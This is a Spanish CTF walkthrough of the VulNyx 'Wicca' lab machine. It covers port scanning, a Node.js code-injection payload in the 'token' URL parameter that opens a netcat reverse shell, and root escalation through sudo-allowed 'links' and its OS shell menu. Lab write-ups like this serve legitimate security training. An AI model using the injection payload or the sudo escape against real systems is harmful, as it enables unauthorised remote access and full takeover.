VulNyx - Wicca

logo

  • NodeJS (Express middleware)
  • Abuse Links Binary - Privesc

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.21

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5000/tcp open  upnp

Escaneo de servicios

❯ nmap -sVC -v -Pn -p 22,80,5000 192.168.1.21

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
|   256 3a:dc:d6:1d:84:b6:96:c0:8f:96:1e:65:a0:24:0e:fb (ECDSA)
|_  256 de:93:17:fb:3a:19:9c:e0:17:32:2d:a9:73:f7:c5:94 (ED25519)
80/tcp   open  http    Apache httpd 2.4.57 ((Debian))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
5000/tcp open  http    Node.js (Express middleware)
|_http-title: VulNyx Lab
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 80

http.png

HTTP TCP - 5000

http5000

Si pongo mi nickname me genera un token en la url.

nametoken

Si modifico el token genero un error e incluso puedo enumerar un usuario del sistema con el nombre aleister.

errortoken

Genero una nodejs reverse shell con esta web.

webshellgenerator

Pego el oneliner después del parámetro token.

http://192.168.1.21:5000/?name=noname&token=require('child_process').exec('nc -e /bin/bash 20192.168.1.17 443')

Obtengo la shell.

❯ nc -lvp 443
listening on [any] 443 ...
192.168.1.21: inverse host lookup failed: Unknown host
connect to [192.168.1.17] from (UNKNOWN) [192.168.1.21] 35516
script /dev/null -c bash
Script started, output log file is '/dev/null'.
aleister@wicca:/$ id
id
uid=1001(aleister) gid=1001(aleister) groups=1001(aleister)

Realizo el tratamiento para la TTY.

script /dev/null -c bash
ctrl + Z
stty raw -echo;fg
reset
xterm
export TERM=xterm-256color
export SHELL=bash
source /etc/skel/.bashrc
stty rows 50 cols 200

Enumero permisos sudo.

aleister@wicca:~$ sudo -l
Matching Defaults entries for aleister on wicca:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User aleister may run the following commands on wicca:
    (root) NOPASSWD: /usr/bin/links

Lanzo el binario con la flag -no-g.

aleister@wicca:~$ sudo /usr/bin/links -no-g

Pulso la tecla esc y me aparece este menú.

menutexto

Con las flechas me desplazo hasta OS shell.

menuOSshell

Y obtengo el root.

root@wicca:/home/aleister# id
uid=0(root) gid=0(root) groups=0(root)

Y con esto ya tenemos resuelta la máquina Wicca.

Saludos!